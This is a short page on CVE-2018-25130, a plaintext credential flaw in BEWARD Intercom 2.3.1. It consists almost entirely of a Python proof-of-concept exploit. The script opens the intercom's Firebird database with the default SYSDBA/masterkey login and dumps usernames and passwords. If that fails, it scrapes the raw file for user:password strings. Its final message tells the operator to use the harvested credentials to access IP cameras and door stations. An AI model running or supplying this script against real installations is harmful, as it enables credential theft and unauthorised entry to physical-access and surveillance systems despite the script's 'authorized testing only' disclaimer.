CVE-2018-25130 BEWARD Intercom 2.3.1 明文凭证泄露漏洞

#!/usr/bin/env python3 """ CVE-2018-25130 PoC - BEWARD Intercom Credentials Disclosure This script demonstrates the extraction of plaintext credentials from BEWARD.INTERCOM.FDB Note: For authorized security testing only """ import os import sys def exploit_cve_2018_25130(db_path): """ Exploit function to extract credentials from BEWARD Intercom database Args: db_path: Path to BEWARD.INTERCOM.FDB file Returns: Dictionary containing extracted credentials """ credentials = { 'usernames': [], 'passwords': [], 'raw_data': [] } try: # Check if database file exists if not os.path.exists(db_path): print(f"[-] Database file not found: {db_path}") return None print(f"[+] Found database file: {db_path}") print("[+] Extracting credentials...") # For Firebird database, use fdb library try: import fdb conn = fdb.connect(database=db_path, user='SYSDBA', password='masterkey') cursor = conn.cursor() # Query for user credentials - typical table names in BEWARD systems query = "SELECT USERNAME, PASSWORD FROM USERS" cursor.execute(query) for row in cursor.fetchall(): username, password = row credentials['usernames'].append(username) credentials['passwords'].append(password) credentials['raw_data'].append(f"{username}:{password}") print(f"[+] Found credential: {username}:{password}") conn.close() except ImportError: # Alternative: Read raw file and extract patterns print("[*] fdb library not available, attempting raw file extraction...") with open(db_path, 'rb') as f: data = f.read() # Search for credential patterns in plaintext import re # Pattern for typical credential strings pattern = rb'[A-Za-z0-9_]{3,20}:[A-Za-z0-9_]{3,20}' matches = re.findall(pattern, data) for match in matches: decoded = match.decode('utf-8', errors='ignore') if ':' in decoded: parts = decoded.split(':') if len(parts) == 2: credentials['raw_data'].append(decoded) print(f"[+] Found credential: {decoded}") return credentials except Exception as e: print(f"[-] Error: {str(e)}") return None def main(): if len(sys.argv) != 2: print("Usage: python cve_2018_25130.py <path_to_BEWARD.INTERCOM.FDB>") sys.exit(1) db_path = sys.argv[1] results = exploit_cve_2018_25130(db_path) if results and results['raw_data']: print(f"\n[+] Successfully extracted {len(results['raw_data'])} credential(s)") print("\n[!] Use these credentials to access IP cameras and door stations") else: print("[-] No credentials found or exploit failed") if __name__ == "__main__": main()